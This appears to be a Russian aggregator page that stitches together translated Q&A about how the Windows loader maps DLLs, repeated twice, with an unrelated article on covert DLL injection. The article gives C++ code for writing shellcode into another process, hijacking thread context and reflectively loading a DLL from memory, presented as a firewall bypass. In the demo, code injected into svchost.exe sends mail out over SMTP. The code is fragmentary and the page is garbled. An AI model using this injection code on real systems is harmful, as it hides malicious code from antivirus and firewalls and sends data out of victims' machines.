Gostengine dll не загружена в адресное пространство программы

Обновлено: 08.07.2024

Мне любопытно узнать, как загрузчик отображает DLL в адресное пространство обработки. Как загрузчик творит чудеса. Пример очень ценится.

4 ответа

Какой уровень детализации вам нужен? На базовом уровне все динамические компоновщики работают примерно одинаково:

  1. Динамические библиотеки компилируются в перемещаемый код (например, с использованием относительных переходов вместо абсолютных).
  2. Компоновщик находит пустое пространство подходящего размера в карте памяти приложения и считывает код DLL и любые статические данные в это пространство.
  3. Динамическая библиотека содержит таблицу смещений начала каждой экспортируемой функции, а вызовы функций DLL в клиентской программе исправляются во время загрузки с новым адресом назначения в зависимости от того, где была загружена библиотека.
  4. В большинстве систем динамического компоновщика есть система для установки предпочтительного базового адреса для конкретной библиотеки. Если библиотека загружается по предпочтительному адресу, то перемещение в шагах 2 и 3 можно пропустить.
Бесси. на Машинном уровне :). Как загрузчик творит чудеса. Мне понравилось ваше описание, и я был бы признателен, если бы вы могли дать ссылку / пример декодированного кода m / c или кода asm для объяснения бит. Пожалуйста, не торопитесь, НЕ торопитесь. :)

Хорошо, я предполагаю здесь сторону Windows. Когда вы загружаете PE-файл, загрузчик (содержащийся в NTDLL) будет делать следующее:

  1. Найдите каждую из библиотек DLL, используя семантику поиска DLL (специфичную для системы и уровня исправлений).
  2. Сопоставьте файл с памятью (MMF), где страницы копируются при записи (CoW)
  3. Пройдите по каталогу импорта и для каждого запуска импорта (рекурсивно) в точке 1.
  4. Разрешить перемещения, которые в большинстве случаев представляют собой лишь очень ограниченное количество объектов, поскольку сам код является позиционно-независимым кодом (PIC).
  5. (IIRC) исправляет EAT с RVA (относительный виртуальный адрес) на VA (виртуальный адрес в пространстве памяти текущего процесса)
  6. Исправьте IAT (таблицу адресов импорта), чтобы ссылаться на импорт с их фактическим адресом в пространстве памяти процесса.
  7. Для вызова DLL DLLMain() для EXE создайте поток, начальный адрес которого находится в точке входа PE-файла (это также упрощено, поскольку фактический начальный адрес находится внутри kernel32.dll для процессов Win32)

Теперь, когда вы компилируете код, от компоновщика зависит, как ссылаются на внешнюю функцию. Некоторые компоновщики создают заглушки, так что теоретически попытка проверить адрес функции на NULL всегда будет говорить, что это не NULL. Это причуда, о которой вы должны знать, если и когда затронет ваш компоновщик. Другие ссылаются на запись IAT напрямую, и в этом случае адрес функции, на которую нет ссылок (думаю, что загруженные с задержкой библиотеки DLL) может быть NULL, и обработчик SEH затем вызовет помощник с отложенной загрузкой и (попытается) разрешить адрес функции, прежде чем возобновить выполнение в точка это не удалось.

В вышеупомянутом процессе много бюрократии, которую я слишком упростил.

И еще одно предупреждение по поводу EXE-упаковщиков на DLL. Они побеждают именно этот механизм CoW, который я описал, в том, что они выделяют место для распакованного содержимого DLL в куче процесса, в который загружается DLL. Таким образом, хотя фактическое содержимое файла по-прежнему отображается как MMF и совместно используется, распакованное содержимое занимает один и тот же объем памяти для каждого процесса, загружающего DLL, вместо совместного использования.

Хорошо, я прочитал несколько статей Matt Pietrek о файлах Portable Executable (PE), например:

    In-Depth Посмотрите в формате исполняемого файла Win32 Portable, часть 1 и Часть 2
    статья MSJ о компоновщиках
    статья MSJ о формате COFF

Кроме того, я прочитал несколько других источников по этому вопросу. Я либо игнорирую некоторые части, либо вопросы там не отвечают.

Итак, вот вопросы:

Известно, что при загрузке EXE загрузчик Windows считывает список импортированных DLL из таблицы адресов импорта (IAT) и загружает их в адресное пространство процесса.

Адресное пространство процесса - это виртуальное пространство. Возможно, DLL уже загружена в какое-то физическое пространство. Это происходит для DLL, таких как KERNEL32.dll или USER32.dll . Какова связь между физическим и виртуальным адресом? Загружает ли загрузчик только страницы и копирует DLL или делает ссылки?

Если DLL не загружена, загружает ли Loader всю DLL или только необходимые функции? Например, если вы использовали функцию foo() из bar.dll , загружает ли загрузчик весь bar.dll в адресное пространство процесса? Или он просто загружает код foo в адресное пространство процесса?

Предположим, что ваш EXE файл использует функцию MessageBox() от USER32.dll , которая находится в %WINDIR%\system32\user32.dll . Можете ли вы разработать персонализированный USER32.dll , поместить его в тот же каталог, что и ваш EXE файл, и ожидать, что ваш настраиваемый MessageBox будет вызван вашим приложением вместо системного по умолчанию MessageBox ?

спросил(а) 2010-12-16T20:47:00+03:00 10 лет, 11 месяцев назад

Re 1: физические адреса не играют никакой роли, здесь все задействовано в виртуальной памяти. Физический адрес устанавливается только тогда, когда страница виртуальной памяти отображается в ОЗУ, вызванная ошибкой страницы. Многие базовые библиотеки DLL появляются в одном и том же адресе виртуальной памяти в нескольких процессах, таких как kernel32.dll. Процессы просто используют одни и те же страницы кода (а не данные).

Re 2: фактическая "загрузка" не выполняется, используемая функция является той же, которая поддерживает файлы с отображением памяти. Поддержкой этих страниц является сам файл DLL, а не файл подкачки. Ничто не загружается до тех пор, пока ошибка страницы не заставит Windows читать страницу из файла в ОЗУ. Но да, весь раздел кода DLL отображается.

Re 3: да, это сработает. Но практически невозможно заставить его работать на практике, так как вам придется писать функции замены для всех экспортируемых пользователем программ user32. Включая те, которые используют другие функции Win32, вы не можете знать. API-соединение - типичный метод, который используется, Detours из Microsoft Labs является хорошим.

Windows Internals edition 5 - отличная книга, чтобы узнать больше о сантехнике.

Мне любопытно узнать, как загрузчик отображает DLL для обработки адресного пространства. Как загрузчик делает эту магию. Пример высоко ценится.

какой уровень детализации вы ищете? На базовом уровне все динамические компоновщики работают практически одинаково:

  1. динамические библиотеки компилируются в перемещаемый код (например, используя относительные скачки вместо абсолютных).
  2. компоновщик находит пустое пространство соответствующего размера в карте памяти приложения и считывает код DLL и любые статические данные в это пространство.
  3. динамическая библиотека содержит таблицу смещений запуск каждой экспортированной функции и вызовы функций DLL в клиентской программе исправляются во время загрузки с новым адресом назначения, в зависимости от того, где была загружена библиотека.
  4. большинство динамических систем компоновщика имеют некоторую систему для установки предпочтительного базового адреса для конкретной библиотеки. Если библиотека загружается по предпочтительному адресу, перемещение в шагах 2 и 3 можно пропустить.

хорошо, я предполагаю, что сторона Windows здесь. Что происходит при загрузке PE-файла, так это то, что загрузчик (содержащийся в NTDLL) будет делать следующее:

  1. найдите каждую из библиотек, используя семантику поиска DLL (системную и специфичную для уровня исправления), известные библиотеки DLL освобождены от этого
  2. сопоставьте файл в память (MMF), где страницы копируются при записи (CoW)
  3. пересеките каталог импорта и для каждого начала импорта (рекурсивно) в пункт 1.
  4. разрешите перемещения, которые большую часть времени представляют собой очень ограниченное количество объектов, поскольку сам код является независимым от позиции кодом (PIC)
  5. (IIRC) исправьте EAT от RVA (относительный виртуальный адрес) до VA (виртуальный адрес в текущем пространстве памяти процесса)
  6. исправьте IAT (таблицу адресов импорта), чтобы ссылаться на импорт с их фактическим адресом в пространстве памяти процесса
  7. для вызова DLL DLLMain() для EXE создайте поток, начальный адрес которого находится в точке входа PE-файла (это также упрощено, потому что фактический начальный адрес находится внутри kernel32.dll для процессов Win32)

теперь при компиляции кода зависит от компоновщика, как ссылается внешняя функция. Некоторые компоновщики создают заглушки, так что теоретически попытка проверить адрес функции на NULL всегда будет говорить, что это не NULL. Это причуда, о которой вы должны знать, если и когда ваш компоновщик затронут. Другие ссылка на запись IAT напрямую, в этом случае адрес неферментированной функции (думаю, загруженные с задержкой библиотеки DLL) может быть нулевым, и обработчик SEH затем вызовет помощник по задержке загрузки и (попытка) разрешить адрес функции, прежде чем возобновить выполнение в точке он не удался.

существует много бюрократии, связанной с вышеуказанным процессом, который я упрощал.

и слово предупреждения относительно EXE-упаковщиков на DLL. Они побеждают именно этот механизм коровы, который я описал в том, что они выделяют пространство для распакованного содержимого DLL в куче процесса, в который загружается DLL. Таким образом, хотя фактическое содержимое файла по-прежнему отображается как MMF и совместно, распакованное содержимое занимает одинаковый объем памяти для каждого процесса загрузки DLL вместо совместного использования.

Если вы действительно заинтересованы, вы должны читать книги компоновщики и загрузчики.

Внедрению DLL так или иначе (обычно в связи с перехватом API) посвящено достаточно большое количество статей. Но ни в одной из тех, которые я читал, не говорится, как внедрить эту DLL в чужой процесс незаметно, т.е. не храня на диске файл самой DLL, а оперируя им непосредственно в памяти.

В настоящее время широчайшую распространенность получили операционные системы семейства Windows NT/2000/XP. Они широко используются не только как домашние системы, но и в качестве серверов. Эта линейка ОС отличается неплохой защищенностью от вредоносных программ, а также для нее существует большое количество дополнительных систем безопасности (различные антивирусы, фаерволлы). Основной язык для приводимых фрагментов кода – C++, но материал актуален и для любого другого языка (Delphi, Ассемблер и т.д.). Единственное условие - язык должен быть 100% компилируемым, а также поддерживать работу с указателями и ассемблерные вставки. Так что любителям VB скорее всего придется обломиться. Для полного понимания материала статьи нужно хотя бы немножко знать ассемблер и С++. Как известно, OC Windows NT целиком построена на системе DLL (динамически загружаемых библиотек). Система предоставляет приложениям сервисные API функции, с помощью которых оно может взаимодействовать с системой. Предполагается, что читатель знаком с программированием в Visual C++, работой загрузчика Windows (загрузка и вызов функций DLL), а также имеет некоторые представления о программировании на ассемблере.

Данная статья актуальна только для систем Windows NT/2000/XP.

Зачем использовать DLL?

При желании можно напрямую записать весь исполняемый код в адресное пространство процесса-жертвы и запустить его функцией CreateRemoteThread. При большом желании можно добиться
того, что бы это заработало. Можно внедрить в адресное пространство целевого процесса весь образ текущего процесса целиком (код, данные, ресурсы и т.д.), после чего запустить на выполнение и работать так же, как и в своем процессе. Этот метод позволяет работать во внедряемом коде с Run Time Library и применять
объектно-ориентированное программирование, к тому же сам метод чрезвычайно прост для применения. Но если внедрять весь процесс целиком, то нам придется внедрить и «лишние» процедуры, которые могут нам и не понадобиться в чужом коде. Поэтому целесообразнее внедрить отдельную DLL, которая содержит лишь необходимые функции для работы.

Основные требования к внедряемому коду:

  • Базонезависимость (адрес загрузки кода в чужой процесс неизвестен заранее).
  • Независимость от Run Time Library.
  • Использование только библиотек, загруженных в адресное пространство целевого процесса.
  • Наличие во внедряемом коде всех необходимых для него данных.

При написании внедряемого кода следует учесть, что единственная DLL, которая обязательно должна присутствовать в адресном пространстве любого процесса - это ntdll.dll, эта DLL загружается даже при отсутствии импорта в исполнимом файле, и представляет собой слой Native API, переходники к функциям ядра Windows.

Если внедряемый код использует функции, экспортируемые библиотеками, отличными от ntdll.dll, то необходимо убедиться в наличии этих библиотек в адресном пространстве целевого процесса и при необходимости загрузить их.

Допустим, нам необходимо использовать во внедряемом коде функции из wsock32.dll и kernel32.dll. Воспользуемся следующим кодом:

if(!GetModuleHandle("wsock32.dll"))
LoadLibrary("wsock32.dll");
if(!GetModuleHandle("kernel32.dll"))
LoadLibrary("kernel32.dll");

Класс CInjectDllEx

Для внедрения DLL обоими методами (внешней DLL и внутренней DLL) я написал класс CInjectDllEx. Этот класс содержит все необходимые процедуры для работы. Для его использования необходимо просто вызвать его процедуру StartAndInject:

BOOL StartAndInject(
LPSTR lpszProcessPath,
BOOL bDllInMemory,
LPVOID lpDllBuff,
LPSTR lpszDllPath,
BOOL bReturnResult,
DWORD *dwResult);

[in] lpszProcessPath - Путь к программе, которую необходимо запустить и в которую будет внедрен код Dll.

[in] bDllInMemory - Если этот параметр TRUE, то используется аргумент lpDllBuff, иначе - используется аргумент lpszDllPath.

[in] lpDllBuff - Указатель на содержимое Dll в памяти. Должен быть NULL, если параметр bDllInMemory принимает значение FALSE.

[in] lpszDllPath - Полный путь к внедряемой Dll. Должен быть NULL, если параметр bDllInMemory принимает значение TRUE.

[in] bReturnResult - Если этот параметр TRUE, то параметр dwResult используется, иначе он не используется и должен быть NULL.

[out] dwResult - Указатель на переменную, в которой будет сохранен код завершения, переданный в функцию ExitProcess в Dll. Должен быть NULL, если bReturnResult принимает значение FALSE.

Возвращаемые значения:
Эта процедура возвращает TRUE, если удалось внедрить в процесс код Dll. Иначе возвращается FALSE.

Внедрение DLL, находящейся на диске

Весьма удобен и эффективен метод внедрения в чужой код своей DLL, но этот метод имеет некоторые недостатки, так как необходимо хранить DLL на диске, и загрузку лишней DLL легко обнаружить программами типа PE-Tools. Также на лишнюю DLL могут обратить внимание антивирусы и фаерволлы (например Outpost Fierwall), что тоже нежелательно.

Приведем код, позволяющий внедрить внешнюю DLL в чужой процесс:

LPVOID Memory = VirtualAllocEx(Process,0,sizeof(Inject),
MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(!Memory)
return FALSE;
DWORD Code = DWORD(Memory);
// Инициализация внедряемого кода:
Inject.PushCommand = 0x68;
Inject.PushArgument = Code + 0x1E;
Inject.CallCommand = 0x15FF;
Inject.CallAddr = Code + 0x16;
Inject.PushExitThread = 0x68;
Inject.ExitThreadArg = 0;
Inject.CallExitThread = 0x15FF;
Inject.CallExitThreadAddr = Code + 0x1A;
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
Inject.AddrLoadLibrary = GetProcAddress(hKernel32,"LoadLibraryA");
Inject.AddrExitThread = GetProcAddress(hKernel32,"ExitThread");
lstrcpy(Inject.LibraryName,ModulePath);
// Записать машинный код по зарезервированному адресу
WriteProcessMemory(Process,Memory,&Inject,sizeof(Inject),0);

// Получаем текущий контекст первичной нити процесса
CONTEXT Context;
Context.ContextFlags = CONTEXT_FULL;
BOOL bResumed = FALSE;
if(GetThreadContext(Thread,&Context))
// Изменяем контекст так, чтобы выполнялся наш код
Context.Eip = Code;
if(SetThreadContext(Thread,&Context))
// Запускаем нить
bResumed = ResumeThread(Thread) != (DWORD)-1;
if(bResumed)
WaitForSingleObject(Thread,INFINITE);
>
>
if(!bResumed)
// Выполнить машинный код
HANDLE hThread = CreateRemoteThread(Process,0,0,(LPTHREAD_START_ROUTINE)Memory,0,0,0);
if(!hThread)
return FALSE;
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
>
return TRUE;
>

Единственный аргумент данной функции – путь к внедряемой
DLL. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Обратите внимание, что в данной функции сначала предпринимается попытка запустить удаленный поток без вызова CreateRemoteThread с использованием функций GetThreadContext, SetThreadContext. Для этого мы получаем хэндл главной нити процесса, после чего получаем контекст нити (GetThreadContext), изменяем содержимое регистра EIP так, чтобы он указывал на наш внедряемый код, а потом запускаем нить (ResumeThread). Если не удается запустить удаленный код этим методом, то просто вызывается CreateRemoteThread.

Внедрение DLL, находящейся в памяти

Существует метод, позволяющий загрузить DLL в другой процесс более незаметным способом. Для этого нужно внедрить в процесс образ этой DLL, затем настроить у нее таблицу импорта и релоки, после чего выполнить ее точку входа. Этот метод позволяет не хранить DLL на диске, а проводить действия с ней исключительно в памяти, также эта DLL не будет видна в списке загруженных процессом модулей, и на нее не обратит внимание фаерволл:

MapLibrary(pModule,Src);
if(!_ImageBase)
return FALSE;

TDllLoadInfo DllLoadInfo;
DllLoadInfo.Module = _ImageBase;
DllLoadInfo.EntryPoint = _DllProcAddress;

WriteProcessMemory(Process,pModule,_ImageBase,_ImageSize,0);
HANDLE hThread = InjectThread(DllEntryPoint, &DllLoadInfo,sizeof(DllLoadInfo));
if(hThread)
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
return TRUE;
>
return FALSE;
>

Src - адрес образа Dll в текущем процессе. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Функции, не описанные здесь, можно найти в прилагаемых к статье файлах.

Обход фаерволла как пример применения усовершенствованного внедрения DLL

// Выход из программы
VOID ExitThisDll(SOCKET s,BOOL bNoError)
closesocket(s);
WSACleanup();
ExitProcess(bNoError);
>

// Передать запрос серверу
VOID SendRequest(SOCKET s,LPCSTR tszRequest)
if(send(s,tszRequest,lstrlen(tszRequest),0) == SOCKET_ERROR)
ExitThisDll(s,FALSE);
>

// Адрес получателя
LPCTSTR lpszRecipientAddress = "crash86@mail.ru";

// Точка входа
VOID WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
if(!GetModuleHandle("wsock32.dll"))
LoadLibrary("wsock32.dll");
if(!GetModuleHandle("kernel32.dll"))
LoadLibrary("kernel32.dll");

WSADATA wsaData;
WSAStartup(MAKEWORD(1,1),&wsaData);

SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s == INVALID_SOCKET)
WSACleanup();
ExitProcess(FALSE);
>

PHOSTENT pHostEnt = gethostbyname("smtp.mail.ru");
if(!pHostEnt)
ExitThisDll(s,FALSE);

CHAR tszRequestAnswer[512] = "";
ReceiveAnswer(s,tszRequestAnswer);

// Передаем привет серверу
SendRequest(s,"helo friend\r\n");
// Получаем привет от сервера
ReceiveAnswer(s,tszRequestAnswer);

// Говорим, от кого письмо
SendRequest(s,"mail from:<crash86@mail.ru>\r\n");
// Получаем ответ о корректности синтаксиса электронного адреса
ReceiveAnswer(s,tszRequestAnswer);

// Сообщаем серверу адресат
lstrcpy(tszRequestAnswer,"rcpt to:<");
lstrcat(tszRequestAnswer,lpszRecipientAddress);
lstrcat(tszRequestAnswer,">\r\n");
SendRequest(s,tszRequestAnswer);
// Сервер говорит, что проверил наличие адреса и отправитель локальный
ReceiveAnswer(s,tszRequestAnswer);

// Готовим сервер к приему данных
SendRequest(s,"data\r\n");
// Сервер сообщает о готовности
ReceiveAnswer(s,tszRequestAnswer);

// Заполняем поле "Куда"
lstrcpy(tszRequestAnswer,"To: ");
lstrcat(tszRequestAnswer,lpszRecipientAddress);
lstrcat(tszRequestAnswer,"\r\n");
SendRequest(s,tszRequestAnswer);

// Заполняем поле "От кого"
SendRequest(s,"From: crash86@mail.ru\r\n");

// Завершаем передачу
SendRequest(s,"\r\n.\r\n");
ReceiveAnswer(s,tszRequestAnswer);

// Выходим
SendRequest(s,"quit\r\n");
// Подтверждение (ОК)
ReceiveAnswer(s,tszRequestAnswer);
ExitThisDll(s,TRUE);
>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
CInjectDllEx cide;
DWORD dwResult = FALSE;

MessageBox(0,"Отправка почты с помощью DLL на диске. ","TestExe",MB_ICONINFORMATION);
cide.StartAndInject("svchost.exe", FALSE,NULL, "SendMailDll.dll",TRUE,&dwResult);
if(dwResult)
MessageBox(0,"Почта отправлена! :)", "TestExe",MB_ICONINFORMATION);
else
MessageBox(0,"Почта не отправлена :(", "TestExe",MB_ICONERROR);

MessageBox(0,"Отправка почты с помощью DLL в памяти. ",
"TestExe",MB_ICONINFORMATION);
cide.StartAndInject("svchost.exe",TRUE, LockResource(LoadResource(0,FindResource(0,
MAKEINTRESOURCE(IDR_SENDING_DLL), "DLL"))),NULL,TRUE,&dwResult);
if(dwResult)
MessageBox(0,"Почта отправлена! :)", "TestExe",MB_ICONINFORMATION);
else
MessageBox(0,"Почта не отправлена :(", "TestExe",MB_ICONERROR);
return 0;
>

Здесь сначала внедряется DLL, находящаяся на диске, затем – в памяти.
В случае внедрения из памяти, DLL находится в ресурсах внедряющей программы.

Данный способ внедрения DLL можно использовать и для перехвата API. Из всего вышесказанного следует, что технологии внедрения кода и перехвата API могут служить для обхода практически любой защиты и создания чрезвычайно опасных вредоносных программ. Также они могут быть использованы и для создания систем безопасности. Также вышеприведенные примеры показывают, что как бы производители не рекламировали непробиваемость своих фаерволлов, все равно они спасают только от самых примитивных вредоносных программ. Надежность антивирусов тоже не следует считать достаточной, так как они могут быть легко уничтожены вредоносной программой. В настоящее время от подобных приемов защиты не существует, поэтому нужно быть осторожным при установке нового софта, так как неизвестно, что может в себе содержать любая программа. Также хочу заметить, что ВСЕ ПРИВЕДЕННОЕ В ЭТОЙ СТАТЬЕ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНО ТОЛЬКО В УЧЕБНО-ПОЗНАВАТЕЛЬНЫХ ЦЕЛЯХ. Автор не несет никакой ответственности за любой ущерб, нанесенный применением полученных знаний. Если вы с этим не согласны, то пожалуйста удалите статью со всех имеющихся у вас носителей информации и забудьте прочитанное.

Читайте также: